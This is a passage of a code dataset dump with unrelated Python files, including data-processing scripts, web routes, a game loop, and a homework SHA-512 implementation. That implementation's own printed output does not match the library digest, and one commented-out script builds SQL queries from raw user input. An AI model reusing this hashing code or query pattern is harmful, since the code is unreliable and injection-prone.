wf.write(pattern % (id1, id2, weight))\n wf.write(pattern % (id2, id1, weight))\n return id1, poi_num\n\n\ndef __write_poi_info(wf, line, start_node_id, poi_num):\n items = line.split()\n pattern = \"%s %s %s\\n\"\n for i in range(poi_num):\n poi_id = items[2*i] + \"-\" + str(__gen_poi_id())\n weight = items[2*i+1]\n wf.write(pattern % (start_node_id, poi_id, weight))\n wf.write(pattern % (poi_id, start_node_id, weight))\n\n\ndef __gen_poi_id():\n r = __gen_poi_id.id\n __gen_poi_id.id = r + 1\n return r\n\n\n__gen_poi_id.id = 21048\n","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"524531666","text":"# # import mysql.connector\n# #\n# # mydb = mysql.connector.connect(\n# # host=\"localhost\",\n# # user=\"root\"\n# # )\n# #\n# # print(mydb)\n# #\n# # mycursor = mydb.cursor()\n# # perintah = \"show databases\"\n# #\n# # # while perintah:\n# # # mycursor.execute(perintah)\n# # # for db in mycursor:\n# # # print(db)\n# # # perintah = input()\n# # no_tik = input(\"Nomor Tiket : \\t\")\n# # kod_bok= input(\"Kode Bokking: \\t\")\n# # mycursor.execute('use penjualan_tiket;')\n# # perintah = f'insert into tiket values (\\'{no_tik}\\',\\'{kod_bok}\\')'\n# # mycursor.execute(perintah)\n# # mycursor.execute('select * from tiket;')\n# # for db in mycursor:\n# # print(db)\n# #\n# # #\n# # # import random\n# # # x=['A','B','C','D',1,2,3,4,5,6,7,8,9]\n# # # n=random.choice(x)\n# # # print(n)\n# # # n=[]\n# # # for i in range(4):\n# # # n.append(random.choice(x))\n# # # print(n)\n#\n# import mysql.connector\n# import string\n# import random\n#\n# # def rand_gen()\n# # def id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n# # return ''.join(random.choice(chars) for _ in range(size))\n#\n# mydb = mysql.connector.connect(\n# host=\"localhost\",\n# user=\"root\"\n# )\n#\n# mycursor = mydb.cursor()\n# order = \"use penjualan_tiket;\"\n# mycursor.execute(order)\n# order = \"desc pembeli;\"\n# mycursor.execute(order)\n#\n# for db in mycursor:\n# print(db)\n#\n#\n# # n = str(random.randint(121000,125000))\n# # random.ranchar()\n# # print(n)\n#\n# print(\"MENU\\n\\t1. Pembelian Tiket\\n\\t2. Keluhan\")\n# Menu_opt = int(input())\n# if Menu_opt == 1:\n# print(\"Harap inputkan data-data dibawah ini\")\n# temp_1 = input(\"KTP:\\t\")\n# temp_2 = input(\"Nama:\\t\")\n# temp_3 = input(\"Kontak:\\t\")\n#\n# order = f'insert into pembeli values (\\'{temp_2}\\',\\'{temp_1}\\',\\'{temp_3}\\')'\n# mycursor.execute(order)\n# elif Menu_opt == 2:\n# print(\"Membuat Keluhan\")\n#\n# mycursor.execute(f'select *from pembeli;')\n#\n# for db in mycursor:\n# print(db)\n# berhenti_nggak = \"1\"\n# while berhenti_nggak:\n# berhenti_nggak = input()\n\nimport fpdf\nimport webbrowser\n\ndata=[(\"aud\",'bvjbvev','vjvbev'),2,3,4,5,6]\n\npdf = fpdf.FPDF(format='letter')\npdf.add_page()\npdf.set_font(\"Arial\", size=12)\nGedung = \"E\"\npdf.write(5,\"Daftar Barang di \\nGedung \"+Gedung)\npdf.ln()\nfor i in data:\n pdf.write(5,str(i))\n pdf.ln()\npdf.output(\"D:\\Redoqx\\ testings.pdf\")\npath = r'file://D:\\Redoqx\\ testings.pdf'\nwebbrowser.open_new(path)\n\n# def convertdate(tanggal):\n# idx1 = tanggal.find('/')\n# bulan = tanggal[0:idx1]\n# if (len(bulan)!=2):\n# bulan = '0'+bulan\n# print(bulan)\n# idx2 = tanggal.find('/',idx1+1)\n# hari = tanggal[idx1+1:idx2]\n# if (len(hari)!=2):\n# hari = '0'+hari\n# print(hari)\n# tahun = tanggal[idx2+1:]\n# print(tahun)\n# return f'{tahun}-{bulan}-{hari}'\n#\n# dateawal='1/2/2000'\n# hasil=convertdate(dateawal)\n# print(hasil)\n","sub_path":"coba.py","file_name":"coba.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"480025877","text":"#This script calculates percentages of ProPLT formation from Incucyte tiffs.\r\n\r\nimport os, tkinter\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom tkinter.filedialog import askdirectory\r\nimgdir = askdirectory()\r\nos.chdir(imgdir)\r\nfiles = os.listdir(imgdir)\r\n\r\nheader = [\"Circ.\", \"Slice\"];\r\nvalues = [\"Circ.\"];\r\nindex = [\"Slice\"];\r\nnewindex = ['hour'] + files; #format for output csv\r\ni = int(input(\"Number of Timepoints:\"));\r\ndf2 = pd.DataFrame(); #output DF\r\n\r\nfor file in files:\r\n df = pd.read_csv(file, usecols = header, index_col = index)#reads csvs as DF\r\n series = pd.Series();\r\n n = 1;\r\n \r\n while n <= i: #iter slices\r\n s = df.loc[n]; #slice timepoints via label\r\n z = s[values].count(); #total events per slice\r\n b = s <= 0.4; #convert to boolean\r\n x = np.count_nonzero(b); #num proplt events\r\n a = x/z; #avg proplt per slice\r\n series = series.append(a,ignore_index=True) #merge values\r\n n += 1; #iter counter\r\n\r\n if len(series) == i:\r\n df2 = pd.concat([df2,series], axis=1)\r\n df2.to_csv('Temp.csv'); \r\n break;\r\n\r\ndf3 = pd.read_csv('Temp.csv');\r\ndf3.columns = newindex;\r\ndf3 = df3.set_index('hour');\r\ni = i+1;\r\ndf3.index = range(1,i);\r\nos.remove('Temp.csv')\r\ndf3.to_csv('ProPLT_Averages.csv')\r\n","sub_path":"IncucyteResultsReader.py","file_name":"IncucyteResultsReader.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"33263998","text":"## Parses file with unthresholded FD values (from motion_outliers) based on specific threshold\n\nimport pandas as pd\nimport sys\nimport os\n\n#Get file with unthresholded FD values (ifile) and threshold (e.g. 0.5, 1.0, 1.5)\nifile = str(sys.argv[1])\nthresh = float(sys.argv[2])\n\n#Make threshold more friendly for filename\nsafe_thresh = str(thresh).replace('.','pt')\nsuffix = str('_' + safe_thresh + '_num_outliers' + '.txt')\noutlier_vol_ofile = ifile.replace('vals.txt',safe_thresh + '_outlier_vols.txt')\nnum_outlier_vol_ofile = ifile.replace('vals.txt',safe_thresh + '_num_outlier_vols.txt')\n\nprint(ifile)\nprint(outlier_vol_ofile)\nprint(num_outlier_vol_ofile)\n\n#Read in raw/unthresholed fd values and filter to include only those >= threshold\ndf = pd.read_csv(ifile, header = None)\noutliers = df[df[0] >= float(thresh)]\nprint(outliers)\n\n#Calculate number of fd outliers\noutlier_vols = list(outliers.index.values)\nnum_outliers = len(outlier_vols)\n\n#Save number of fd outliers\nwith open(num_outlier_vol_ofile, 'w') as o:\n\to.write(str(num_outliers) + '\\n')\n\n#Write out outlier volume numbers\nif num_outliers > 0:\n\twith open(outlier_vol_ofile, 'w') as o:\n\t\tfor i in range(num_outliers):\n\t\t\to.write(str(outlier_vols[i]) + '\\n')\nelse:\n\twith open(outlier_vol_ofile, 'w') as o:\n\t\to.write(str(''))\n","sub_path":"ParseFDVals-FUNC.py","file_name":"ParseFDVals-FUNC.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"546724436","text":"# Copyright 2009-2011, wiredobjects - http://www.wiredobjects.eu\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# import std\nimport os\nfrom os import path\nimport sys\n# import third party\n# import local\n\n\ndef get_file_list(base_dir):\n \"\"\"\n Recursive walk through base_dir and return a list of files.\n Used for setup.py data_files.\n \"\"\"\n filelist = []\n for root, dirs, files in os.walk(base_dir):\n for file in files:\n full_path = path.join(root, file)\n filelist.append(full_path)\n return filelist\n","sub_path":"src/seminode/utils/distribute.py","file_name":"distribute.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"444938249","text":"#! /usr/bin/env python3.4\n\n# Homework Number: 7\n# Name: Kyunghoon Jung\n# ECN Login: jung112\n# Due Date: March 12, 2015\n\nimport sys, os, math, pprint, copy, hashlib\nfrom BitVector import *\n\ndef read_file(filename):\n\tf = open(filename, 'r')\n\ttxt = f.read()\n\tf.close()\n\treturn txt\n\ndef SHA_512(plaintext):\n\n\t# Append Padding Bits and Length Value\n\tmessage_length = len(plaintext)\n\tbit_message_length = BitVector(intVal = message_length)\n\tplaintext = [plaintext[i:i+128] for i in range(0,len(plaintext), 128)]\n\tbit_plaintext = []\n\tfor i in plaintext:\n\t\tbit_plaintext.append(BitVector(textstring = i))\n\tpadding_length = \"1\"\n\tfor i in range(127-len(bit_message_length)):\n\t\tpadding_length += \"0\"\n\tpadding_length = BitVector(bitstring = padding_length)\n\tpadding_length += bit_message_length\n\tlast_block = bit_plaintext[len(bit_plaintext) - 1]\n\tif(len(last_block) < 1024 - 128):\n\t\tfor i in range(1024 - 128 - len(last_block)):\n\t\t\tlast_block += BitVector(bitstring = '0')\n\t\tlast_block += padding_length\n\t\tbit_plaintext[len(bit_plaintext) - 1] = copy.deepcopy(last_block)\n\telse:\n\t\twhile(len(last_block) != 1024):\n\t\t\tlast_block += BitVector(bitstring = '0')\n\t\tbit_plaintext[len(bit_plaintext) - 1] = copy.deepcopy(last_block)\n\t\tnew_block = BitVector(intVal = 0, size = 1024 - 128)\n\t\tnew_block += padding_length\n\t\tbit_plaintext.append(new_block)\n\n\t# Now bit_plaintext is a list of bitvectors of length 1024 each.\n\n\t# Initialize Hash Buffer with Initialization Vector.\n\th1 = BitVector(hexstring = \"6a09e667f3bcc908\")\n\th2 = BitVector(hexstring = \"bb67ae8584caa73b\")\n\th3 = BitVector(hexstring = \"3c6ef372fe94f82b\")\n\th4 = BitVector(hexstring = \"a54ff53a5f1d36f1\")\n\th5 = BitVector(hexstring = \"510e527fade682d1\")\n\th6 = BitVector(hexstring = \"9b05688c2b3e6c1f\")\n\th7 = BitVector(hexstring = \"1f83d9abfb41bd6b\")\n\th8 = BitVector(hexstring = \"5be0cd19137e2179\")\n\tt64 = 2**64\n\n\t# Create list of constant K vector\n\tfptr = open('constant_k.txt','r')\n\tconstant = fptr.readlines()\n\tfptr.close()\n\tfor i in range(len(constant)):\n\t\tconstant[i] = constant[i].strip()\n\tconstant_k = []\n\tfor i in constant:\n\t\ttmp = i.split()\n\t\tfor j in tmp:\n\t\t\tconstant_k.append(j)\n\tfor i in range(len(constant_k)):\n\t\tconstant_k[i] = BitVector(hexstring = constant_k[i])\n\n\tk = 1\n\n\t# Process Each 1024-bit Message Block M_i:\n\tfor i in bit_plaintext:\n\t\ta, b, c, d, e, f, g, h = h1, h2, h3, h4, h5, h6, h7, h8\n\t\twords = [None] * 80\n\t\twords[0:16] = [i[j:j+64] for j in range(0,len(i),64)]\n\t\tfor j in range(16, 80):\n\t\t\ttmp_0 = words[j-16]\n\t\t\ttmp_1 = (words[j-15] >> 1) ^ (words[j-15] >> 8) ^ words[j-15].shift_right(7)\n\t\t\ttmp_2 = words[j-7]\n\t\t\ttmp_3 = (words[j-2] >> 19) ^ (words[j-2] >> 61) ^ words[j-2].shift_right(6)\n\t\t\twords[j] = ((((((tmp_0.intValue() + tmp_1.intValue()) % t64) + tmp_2.intValue()) % t64) + tmp_3.intValue()) % t64)\n\t\t\twords[j] = BitVector(intVal = words[j], size = 64)\n\t\tfor j in range(80):\n\t\t\te_copy = copy.deepcopy(e)\n\t\t\ta_copy = copy.deepcopy(a)\n\t\t\tT1 = (((((((h + ((e & f) ^ (~e & g))).intValue() % t64) + ((e_copy >> 14) ^ (e_copy >> 18) ^ (e_copy >> 41)).intValue()) % t64) + words[j].intValue()) % t64) + constant_k[j].intValue()) % t64\n\t\t\tT2 = (((a_copy >> 28) ^ (a_copy >> 34) ^ (a_copy >> 39)).intValue() + ((a & b) ^ (a & c) ^ (b & c)).intValue()) % t64\n\t\t\th = g\n\t\t\tg = f\n\t\t\tf = e\n\t\t\te = BitVector(intVal = ((d.intValue() + T1) % t64), size = 64)\n\t\t\td = c\n\t\t\tc = b\n\t\t\tb = a\n\t\t\ta = BitVector(intVal = ((T1 + T2) % t64), size = 64)\n\t\th1 = BitVector(intVal = (a.intValue() + h1.intValue()) % t64, size = 64)\n\t\th2 = BitVector(intVal = (b.intValue() + h2.intValue()) % t64, size = 64)\n\t\th3 = BitVector(intVal = (c.intValue() + h3.intValue()) % t64, size = 64)\n\t\th4 = BitVector(intVal = (d.intValue() + h4.intValue()) % t64, size = 64)\n\t\th5 = BitVector(intVal = (e.intValue() + h5.intValue()) % t64, size = 64)\n\t\th6 = BitVector(intVal = (f.intValue() + h6.intValue()) % t64, size = 64)\n\t\th7 = BitVector(intVal = (g.intValue() + h7.intValue()) % t64, size = 64)\n\t\th8 = BitVector(intVal = (h.intValue() + h8.intValue()) % t64, size = 64)\n\t\tprint('Processing message block {} of {} message blocks...'.format(k,len(bit_plaintext)))\n\t\tk += 1\n\tmessage_hash = h1 + h2 + h3 + h4 + h5 + h6 + h7 + h8\n\thash_hex_string = message_hash.getHexStringFromBitVector()\n\treturn(hash_hex_string)\n\ndef save_file(string):\n\tf = open('output.txt', 'w')\n\tf.write(string)\n\tf.close()\n\ndef main(argv):\n\tif(len(argv) != 2):\n\t\tprint('Usage: python3.4 hw07.py <input_file>')\n\t\tsys.exit(1)\n\tplaintext = read_file(argv[1])\n\thashed_string = SHA_512(plaintext)\n\tsave_file(hashed_string)\n\tprint(hashed_string)\n\tplaintext_byte = plaintext.encode('utf-8')\n\thashed_byte = hashlib.sha512(plaintext_byte).hexdigest()\n\tprint(hashed_byte)\n\treturn 0\n\nif __name__ == \"__main__\":\n\tmain(sys.argv)\n\n\"\"\"\nstdout:\n-bash-4.1$ python3.4 hw07.py input.txt\nProcessing message block 1 of 34 message blocks...\nProcessing message block 2 of 34 message blocks...\nProcessing message block 3 of 34 message blocks...\nProcessing message block 4 of 34 message blocks...\nProcessing message block 5 of 34 message blocks...\nProcessing message block 6 of 34 message blocks...\nProcessing message block 7 of 34 message blocks...\nProcessing message block 8 of 34 message blocks...\nProcessing message block 9 of 34 message blocks...\nProcessing message block 10 of 34 message blocks...\nProcessing message block 11 of 34 message blocks...\nProcessing message block 12 of 34 message blocks...\nProcessing message block 13 of 34 message blocks...\nProcessing message block 14 of 34 message blocks...\nProcessing message block 15 of 34 message blocks...\nProcessing message block 16 of 34 message blocks...\nProcessing message block 17 of 34 message blocks...\nProcessing message block 18 of 34 message blocks...\nProcessing message block 19 of 34 message blocks...\nProcessing message block 20 of 34 message blocks...\nProcessing message block 21 of 34 message blocks...\nProcessing message block 22 of 34 message blocks...\nProcessing message block 23 of 34 message blocks...\nProcessing message block 24 of 34 message blocks...\nProcessing message block 25 of 34 message blocks...\nProcessing message block 26 of 34 message blocks...\nProcessing message block 27 of 34 message blocks...\nProcessing message block 28 of 34 message blocks...\nProcessing message block 29 of 34 message blocks...\nProcessing message block 30 of 34 message blocks...\nProcessing message block 31 of 34 message blocks...\nProcessing message block 32 of 34 message blocks...\nProcessing message block 33 of 34 message blocks...\nProcessing message block 34 of 34 message blocks...\nc90575e94d59f45cc44d8c1bc624dd86d0b97a7af138f9db4eca09c79a6305708c2aefb122d4e144894824b94efcf01ca6bd6475e5a000f016a86820bce150fa\n2ca23fb5c8b233d15655948b2d6e829f7da18fe2fe7a217f78df53ccca2b353e25ce1c3457c05dfc8a200a6de350b40526972d45f0f2d337c3f25b49fdbb7ffb\n\nusing hw07:\nc90575e94d59f45cc44d8c1bc624dd86d0b97a7af138f9db4eca09c79a6305708c2aefb122d4e144894824b94efcf01ca6bd6475e5a000f016a86820bce150fa\n\nusing hashlib:\n2ca23fb5c8b233d15655948b2d6e829f7da18fe2fe7a217f78df53ccca2b353e25ce1c3457c05dfc8a200a6de350b40526972d45f0f2d337c3f25b49fdbb7ffb\n\n\n\noriginal message:\nTen-man PSG stun Chelsea\n\nChelsea crashed out of the Champions League on a stormy night at Stamford Bridge as Paris St-Germain reached the last eight on away goals after extra time.\nPSG came from behind twice to take revenge for last season's quarter-final exit at the hands of Chelsea - showing great character to play for the last hour of normal time and the added 30 minutes without talisman Zlatan Ibrahimovic after he had been sent off for a foul on Oscar.\nIn an ugly eyesore of a match punctuated by fouls and contentious incidents, Gary Cahill's late goal looked to be sending Chelsea through until their former defender David Luiz thumped home a header to send this last-16 tie into extra time.\nOnce more Chelsea went ahead through Eden Hazard's penalty following Thiago Silva's handball but PSG's Brazilian defender made amends perfectly with another superb header six minutes from time to give coach Laurent Blanc's side the progression they deserved.\nWhile PSG complained about Ibrahimovic's red card - and the reaction that saw nine Chelsea players crowd referee Bjorn Kuipers - Chelsea suffered injustices of their own as Diego Costa was denied a clear first-half penalty when he was fouled by Edinson Cavani.\n\nAs a series of running battles broke out, Costa was fortunate to stay on for a shove on Marquinhos, having been booked earlier for a wild lunge on Silva - the game degenerating into a niggly, fractious affair.\nFor Chelsea coach Jose Mourinho, who sets such store by the Champions League having won it with Porto and Inter Milan, this will be a devastating blow but he can hardly make a case that his side were unlucky after such a flat performance, even with a numerical advantage.\nAnd now the Premier League, so often boasting its status as the greatest in the world, faces the prospect of a Champions League wipeout at the last-16 stage with both Manchester City and Arsenal also fighting against the odds after home defeats by Barcelona and Monaco.\nIbrahimovic had been on the periphery of a game that had plenty of slick passing without cutting edge - but he was the central figure as he received his red card after 31 minutes.\nThe giant Swede arrived late in a 50-50 challenge with Oscar, leaving the Brazilian writhing on the ground in agony.\n\nReferee Kuipers produced the red card while surrounded by almost the entire Chelsea team, excluding the stricken Oscar and keeper Thibaut Courtois, who had arrived at the scene en masse.\nIf PSG were harbouring a sense of injustice, they were fortunate to escape twice in quick succession, first when Luiz appeared to catch Costa with an elbow off the ball and then when the striker was clearly tripped by Cavani in the area, only for penalty appeals to be ignored.\nCavani now carried the responsibility for getting the goal PSG required but he was guilty of a dreadful miss as the hour approached, doing everything right to round Courtois only to strike the near post from an angle with the empty goal beckoning.\nIt could have proved an expensive miss and PSG's frustration only increased when they were convinced Costa should have received a similar sanction to Ibrahimovic when he flattened Silva and was fortunate to receive just a yellow card.\nTheir misery seemed complete when Cahill put Chelsea ahead nine minutes from the end of normal time with a goal that mirrored the game. It was a scrappy affair as PSG failed to clear a corner after keeper Salvatore Sirigu saved from Ramires, and Costa's sliced attempt on goal fell kindly for Cahill to lash home.\nChelsea's fans thought this would be enough but reckoned without the spirit of PSG and they took this frenetic tie into extra time as Luiz beat Branislav Ivanovic to a corner to send a thumping header high past Courtois.\nPSG's good work looked to have been undone by that handball by Silva as he contested an aerial challenge with Chelsea substitute Kurt Zouma, resulting in a penalty that was calmly converted by Hazard.\nSilva was the man who made amends with a towering header from a corner seconds after he had been denied by a magnificent Courtois stop from a similar effort.\nChelsea wilted visibly and PSG, who are second in Ligue 1, saw out the game without further alarm to spark wild scenes of celebration among their thousands of supporters inside Stamford Bridge.\n\"\"\"","sub_path":"hidden/ece404/hw07/hw07.py","file_name":"hw07.py","file_ext":"py","file_size_in_byte":11411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"277154718","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom persona import views as views_persona\n\nurlpatterns = [\n path('index', views_persona.index, name=\"index\"),\n #Personas\n path('crear/', views_persona.crear_persona, name=\"crear_p\"),\n path('info/<int:persona_id>/', views_persona.info_persona, name=\"info_p\"),\n path('eliminar/persona/<int:persona_id>/', views_persona.eliminar_persona, name=\"eliminar_p\"),\n path('modificar/persona/<int:persona_id>/', views_persona.modificar_persona, name=\"mod_p\"),\n #Comentarios\n path('crear/comentario/', views_persona.crear_comentario_persona),\n path('info/<int:comentario_id>/', views_persona.info_comentario),\n path('eliminar/<int:comentario_id>/', views_persona.eliminar_comentario),\n path('modificar/comentario/<int:comentario_id>/', views_persona.modificar_comentario),\n #Rasgos\n path('crear/rasgo/', views_persona.crear_rasgo_persona, name=\"crear_r\"),\n path('eliminar/<int:rasgo_id>/', views_persona.eliminar_rasgo),\n]\n","sub_path":"traits/persona/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"429450247","text":"#! /bin/usr/env python3\n\nimport sys\nimport os\nimport time\nimport intcomp\nfrom intcomp import IntComp\nfrom intcomp import Status\n\n\ndef display_arcade(arcade):\n for row in arcade:\n outstr = \"\"\n for col in row:\n \n char = \"\"\n\n if col == 0:\n char = ' '\n elif col == 1:\n char = '@'\n elif col == 2:\n char = '#'\n elif col == 3:\n char = '='\n elif col == 4:\n char = 'O'\n\n outstr += char\n\n print(outstr)\n\n\n\nfilename = \"13day-input.txt\"\noutput_file = \"output.txt\"\n\nif os.path.exists(output_file):\n os.remove(output_file)\n\nif len(sys.argv) > 1:\n filename = sys.argv[1]\n\n#tape = read_input(filename)\n#tape[0] = 0\n#comp = IntComp(tape)\ncomp = IntComp(filename)\ncomp.tape[0] = 2\n\narcade = [[0 for row in range(38)] for col in range(21)]\n\nstatus = Status.INPUT_REQUIRED\nscore = 0\nball = [0,0]\nball_prev = [0,0]\npaddle = 0\nbutton = 1\niteration = 0\n\nwhile status == Status.INPUT_REQUIRED:\n\n \"\"\"\n while button != \"a\" and button != \"s\" and button != \" \":\n button = input(\"INPUT:\")\n\n print(\" - \")\n\n if button == \"a\":\n button = -1\n elif button == \"s\":\n button = 1\n elif button == \" \":\n button = 0\n \"\"\"\n\n outs = comp.execute_tape(button)\n status = outs[0]\n data = outs[1]\n\n for index in range(0,len(data),3):\n\n tile = data[index:index+3] \n\n if tile[0] == -1 and tile[1] == 0:\n score = tile[2]\n else:\n arcade[tile[1]][tile[0]] = tile[2]\n\n if tile[2] == 4:\n ball_prev[0] = ball[0]\n ball = tile[0:2]\n elif tile[2] == 3:\n paddle = tile[0]\n\n ball_sides = [0,0]\n \n #if ball[0] > 0:\n ball_sides[0] = arcade[ball[1]][ball[0]-1]\n #if ball[0] < len(arcade[ball[1]]) - 1:\n ball_sides[1] = arcade[ball[1]][ball[0]+1]\n\n\n if paddle < ball[0]:\n button = 1\n elif paddle > ball[0]:\n button = -1\n else:\n button = 0\n\n \"\"\"\n #Hashtag AI\n if ball_sides[0] in [1,2]:\n button = 1\n elif ball_sides[1] in [1,2]:\n button = -1\n elif paddle < ball[0]:\n button = 1\n elif paddle > ball[0]:\n button = -1\n elif paddle == ball[0]:\n if ball_prev[0] == ball[0]:\n button = 0\n elif ball_prev[0] < ball[0]:\n button = 1\n elif ball_prev[0] > ball[0]:\n button = -1\n\n #Hashtag Cheating\n if iteration == 865:\n button = -1\n if iteration == 1351:\n button = 1\n \"\"\"\n display_arcade(arcade)\n \n outstr = f\"{paddle}:{button} - {ball_sides[0]} ({ball[0]},{ball[1]}) {ball_sides[1]}\"\n print(f\"DEBUG: {outstr:>30s}\")\n print(f\"ITER: {iteration:31}\")\n print(f\"SCORE: {score:30}\\n\")\n \n time.sleep(0.05)\n iteration += 1\n","sub_path":"13day/day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"568285977","text":"from collections import namedtuple\n\nResult = namedtuple('Result', 'count average')\n\n# 子生成器\ndef averager():\n total = 0.0\n count = 0\n average = None\n while True:\n # main 函数发送数据到这里 \n print(\"in averager, before yield\")\n term = yield\n if term is None: # 终止条件\n break\n total += term\n count += 1\n average = total/count\n\n print(\"in averager, return result\")\n return Result(count, average) # 返回的Result 会成为grouper函数中yield from表达式的值\n\n\n# 委派生成器\ndef grouper(results, key):\n # 这个循环每次都会新建一个averager 实例,每个实例都是作为协程使用的生成器对象\n while True:\n print(\"in grouper, before yield from averager, key is \", key)\n results[key] = yield from averager()\n print(\"in grouper, after yield from, key is \", key)\n\n\n# 调用方\ndef main(data):\n results = {}\n for key, values in data.items(): # 'girls;kg'\n # group 是调用grouper函数得到的生成器对象\n group = grouper(results, key)\n print(\"\\ncreate group: \", group)\n next(group) #预激 group 协程。\n print(\"pre active group ok\")\n for value in values: # [40, 41, 42, 43, 44, 54]\n # 把各个value传给grouper 传入的值最终到达averager函数中;\n # grouper并不知道传入的是什么,同时grouper实例在yield from处暂停\n print(\"send to %r value %f now\"%(group, value))\n group.send(value)\n # 把None传入groupper,传入的值最终到达averager函数中,导致当前实例终止。然后继续创建下一个实例。\n # 如果没有group.send(None),那么averager子生成器永远不会终止,委派生成器也永远不会在此激活,也就不会为result[key]赋值\n print(\"send to %r none\"%group)\n group.send(None)\n print(\"report result: \")\n report(results)\n\n\n# 输出报告\ndef report(results):\n for key, result in sorted(results.items()):\n group, unit = key.split(';')\n print('{:2} {:5} averaging {:.2f}{}'.format(result.count, group, result.average, unit))\n\n\ndata = {\n 'girls;kg':[40, 41, 42, 43, 44, 54,111],\n 'girls;m': [1.5, 1.6, 1.8, 1.5, 1.45, 1.6],\n 'boys;kg':[50, 51, 62, 53, 54, 54],\n 'boys;m': [1.6, 1.8, 1.8, 1.7, 1.55, 1.6],\n}\n\nif __name__ == '__main__':\n main(data)","sub_path":"asyncio_demo/coroutine_example.py","file_name":"coroutine_example.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"109387900","text":"import os\nimport shutil\nfrom win32com import client as wc\nimport docx\nfrom docx import Document\n\nCUR_PATH = os.getcwd()\n\n\ndef word2txt_convert(path):\n word = wc.Dispatch('Word.Application')\n doc = word.Documents.Open(path) \n doc.SaveAs(path+'.docx', 12) \n doc.SaveAs(path+'.txt',4)\n d = Document(path+'.docx') \n if d.tables!=[]:\n print(d.tables)\n doc.Close()\n word.Quit()\n return path+'.txt'\n\ntxtpath = []\ndef ms_word2txt(filelist):\n for i in filelist:\n location = r''+CUR_PATH+'\\\\'+i\n txtpath.append(word2txt_convert(location))\n\n os.mkdir('text_data')\n\n for i in txtpath:\n shutil.move(i, os.getcwd()+'\\\\text_data')\n\n## \n","sub_path":"Word2txt.py","file_name":"Word2txt.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"286589713","text":"from flask import Blueprint,render_template\nfrom flask_dance.contrib.google import make_google_blueprint, google\n\nerror_pages = Blueprint('error_pages',__name__)\n\n@error_pages.app_errorhandler(404)\ndef error_404(error):\n return render_template('error_pages/404.html'), 404\n\n@error_pages.app_errorhandler(403)\ndef error_403(error):\n if not google.authorized:\n return redirect(url_for(\"google.login\"))\n\n resp = google.get(\"/oauth2/v2/userinfo\")\n assert resp.ok, resp.text\n email=resp.json()[\"email\"]\n return render_template('error_pages/403.html', email=email), 403\n","sub_path":"weddingRegistry/error_pages/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"308175443","text":"import falcon\nfrom falcon_api import database\n\n\nclass BaseResource(database.MongoDBConnect):\n\n def on_post(self, req, resp):\n # is there a DB connection\n if not hasattr(self, 'mongo_db'):\n raise falcon.HTTPInternalServerError(\n 'Connect to DB does not exist.'\n )\n","sub_path":"falcon_api/resources/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"399580762","text":"\"\"\"Es para el subsistema RFI \"\"\"\nimport requests\nimport numpy\nimport json\nimport time\nfrom subsistemaRFI import subsistemaRFI\n\n\nclass ComplexEncoder(json.JSONEncoder):\n\t\"\"\" Para codificar las muestras complejas en json\"\"\"\n\tdef default(self, obj):\n\t\tif isinstance(obj, (numpy.ndarray,numpy.number)):\n\t\t\treturn obj.tolist()\n\t\telif isinstance(obj, (complex, numpy.complex)):\n\t\t\treturn [obj.real, obj.imag]\n\t\telif isinstance(obj, set):\n\t\t\treturn list(obj)\n\t\telif isinstance(obj, bytes): # pragma: py3\n\t\t\treturn obj.decode()\n\t\treturn json.JSONEncoder.default(self, obj)\n\nclass Espectro():\n\t\"\"\"Esta clase se encarga de leer el espectro, procesarlo para extraer \n\tcaracteristicas como el maximo, el minimo y la energia por cada vector almacenado,\n\tluego envia la informacion a las API que se encargan de redirigir la informacion\n\thacia la base de datos \"\"\"\n\n\tdef __init__(self, IP, usernameAPI, passwordAPI):\n\t\tself.IP = IP\n\t\tself.usernameAPI = usernameAPI\n\t\tself.passwordAPI = passwordAPI\n\n\tdef monitoreo(self, frec_central, ganancia, sample_rate, tiempo, nfft):\n\t\t\"\"\"Entradas:\n\t\t* frec_central para indicar la frecuencia del VCO 78e6 <frec_central <5.92e9,\n\t\t* ganancia para indicar la ganacia del LNA 0<gain<70\n\t\t* samp_rate frecuencia de muestreo, solo toma valores discretos [32e3, 64e3, 125e3, 250e3, 500e3, 1e6,2e6,4e6,8e6,16e6]\n\t\t* tiempo es para indicar la duracion del sensado\"\"\"\n\t\t#objeto para realizar el sensado\n\t\ttb = 